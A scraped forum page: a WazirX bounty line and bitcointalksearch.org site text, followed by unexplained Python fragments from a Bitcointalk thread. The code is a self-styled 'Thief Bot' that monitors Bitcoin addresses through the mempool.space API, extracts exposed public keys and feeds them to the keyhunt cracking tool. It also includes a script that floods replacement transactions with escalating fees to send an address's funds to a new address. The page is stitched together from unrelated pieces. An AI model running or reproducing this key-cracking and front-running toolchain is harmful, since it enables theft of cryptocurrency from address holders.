White Hat Recovery reward 10%, i.e., up to $23 Million
https://x.com/WazirXIndia/status/1815004031561220352
https://www.talkimg.com/images/2024/07/26/4BbTH.gif
It was the Bitcointalk forum that inspired us to create Bitcointalksearch.org - Bitcointalk is an excellent site that should be the default page for anybody dealing in cryptocurrency, since it is a virtual gold-mine of data. However, our experience and user feedback led us create our site; Bitcointalk's search is slow, and difficult to get the results you need, because you need to log in first to find anything useful - furthermore, there are rate limiters for their search functionality.
The aim of our project is to create a faster website that yields more results and faster without having to create an account and eliminate the need to log in - your personal data, therefore, will never be in jeopardy since we are not asking for any of your data and you don't need to provide them to use our site with all of its capabilities.
We created this website with the sole purpose of users being able to search quickly and efficiently in the field of cryptocurrency so they will have access to the latest and most accurate information and thereby assisting the crypto-community at large.
while True:
logging.info("Running scan...")
pubkey = get_exact_public_key_unconfirmed(address) or get_exact_public_key_confirmed(address)
if pubkey:
logging.info(f"Extracted Public Key: {pubkey}")
save_public_key(pubkey)
# Uncomment to run Keyhunt (ensure you have the keyhunt tool and the correct parameters)
run_keyhunt(pubkey)
Initializing Thief Bot v0...
Monitoring: 166Bitrbfa16oR7DKKSzgdhU4MpVKE4cKb
No outgoing transaction yet... [T: 1481]
import json
import requests
def get_publickey(address):
txs = get_txs(address)
publickey = None
found = False
for tx in txs:
for vin in tx["vin"]:
if vin["prevout"]["scriptpubkey_address"] == address:
scriptsig_asm = vin["scriptsig_asm"]
if "OP_PUSHBYTES_33" in scriptsig_asm or "OP_PUSHBYTES_65" in scriptsig_asm:
tokens = scriptsig_asm.split()
OP_token = tokens[-2]
last_token = tokens[-1]
if OP_token == "OP_PUSHBYTES_33" or OP_token == "OP_PUSHBYTES_65" :
publickey = last_token
found = True
if found:
break
if found:
break
return publickey
def get_txs(address):
try:
obj = None
url = ""
if networkname=="bitcoin":
url = "https://mempool.space/api/address/" + address +"/txs"
elif networkname=="testnet":
url = "https://mempool.space/testnet/api/address/" + address +"/txs"
else:
print("Unknow network")
exit()
#print("Request url: {}".format(url))
response = requests.get(url, timeout=10) # Sending an HTTP GET request
if response.status_code == 200:
#print("Response:\n{}".format(response.text))
obj = response.json()
elif response.status_code == 429:
print(f"HTTP: {response.status_code}\nExit...")
obj = []
else:
print(f"HTTP: {response.status_code}\n{response.text}\nExit...")
obj = []
return obj
except Exception as e:
print(f"An error occurred: {e}")
return []
networkname="bitcoin"
address = "1Fo65aKq8s8iquMt6weF1rku1moWVEd5Ua"
publickey = get_publickey(address)
if(publickey is not None):
print("Public key found {}".format(publickey))
else:
print("Public key NOT found")
import requests
import time
from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import Key
# Configuration
address = '' # The address to monitor
new_address = '' # The address to receive the new transaction
private_key_wif = '' # Private key for the address that created the original transaction
initial_fee = 20000 # Initial fee in satoshis (0.0001 BTC)
fee_increment = 35000 # Increment for additional fees in satoshis
check_interval = 30 # Interval for checking new transactions in seconds
broadcast_interval = 60 # Interval for re-broadcasting transactions in seconds
def check_new_transactions(address):
url = f'https://mempool.space/api/address/{address}/txs/chain'
try:
response = requests.get(url)
response.raise_for_status() # Raise an exception for HTTP errors
data = response.json()
# Print raw data to understand the response structure
print(f"API response: {data}")
if isinstance(data, list):
return data
else:
print("Unexpected response format.")
return []
except requests.exceptions.RequestException as e:
print(f"An error occurred while checking transactions: {e}")
return []
def get_raw_transaction(txid):
url = f'https://mempool.space/api/tx/{txid}/hex'
try:
response = requests.get(url)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
print(f"An error occurred while getting raw transaction: {e}")
return None
def create_replacement_transaction(original_tx_hex, private_key_wif, fee, new_address):
try:
key = Key.from_wif(private_key_wif) # Use from_wif() to import the key
except Exception as e:
print(f"Error importing private key: {e}")
return None
try:
# Load the original transaction
tx = Transaction.import_raw(original_tx_hex)
total_input_value = sum(input.value for input in tx.inputs)
total_output_value = sum(output.value for output in tx.outputs)
original_fee = total_input_value - total_output_value
# Calculate the new fee in satoshis
new_total_fee = original_fee + fee
remaining_value = total_input_value - new_total_fee
# Convert values to integers (satoshis)
remaining_value = int(remaining_value)
if remaining_value <= 0:
print("Not enough funds to cover the new fee.")
return None
# Create a new transaction
new_tx = Transaction()
# Add all inputs from the original transaction
for input in tx.inputs:
new_tx.add_input(input.prev_txid, input.output_n, input.value)
# Add a single output to the new address with the remaining value after fee
new_tx.add_output(remaining_value, new_address)
# Sign the new transaction
new_tx.sign(key)
return new_tx
except Exception as e:
print(f"Error creating replacement transaction: {e}")
return None
def broadcast_transaction(tx_hex):
url = 'https://mempool.space/api/tx'
headers = {'Content-Type': 'application/json'}
data = {'tx': tx_hex}
try:
response = requests.post(url, headers=headers, json=data)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
print(f"An error occurred while broadcasting transaction: {e}")
return None
# Monitor the address for new transactions
known_transactions = set()
current_fee = initial_fee
while True:
print("Checking for new transactions...")
transactions = check_new_transactions(address)
if transactions:
print("Address used in transactions. Retrieving public key...")
# Skip public key retrieval if not supported
for tx in transactions:
txid = tx['txid'] # Adjust if necessary based on the actual response structure
if txid not in known_transactions:
print(f"New transaction found: {txid}")
raw_tx_hex = get_raw_transaction(txid)
if raw_tx_hex:
print("Creating and broadcasting replacement transactions with increasing fees...")
start_time = time.time()
while True:
replacement_tx = create_replacement_transaction(raw_tx_hex, private_key_wif, current_fee, new_address)
if replacement_tx:
replacement_tx_hex = replacement_tx.as_hex()
broadcast_response = broadcast_transaction(replacement_tx_hex)
print(f"Broadcast response for fee {current_fee}: {broadcast_response}")
# Increment the fee for the next transaction
current_fee += fee_increment
# Check if 60 seconds have passed since the start of broadcasting
if time.time() - start_time >= broadcast_interval:
break # Exit the loop after 60 seconds
else:
print("Failed to create replacement transaction.")
known_transactions.add(txid)
print("Waiting before repeating the process...")
time.sleep(check_interval) # Check every 30 seconds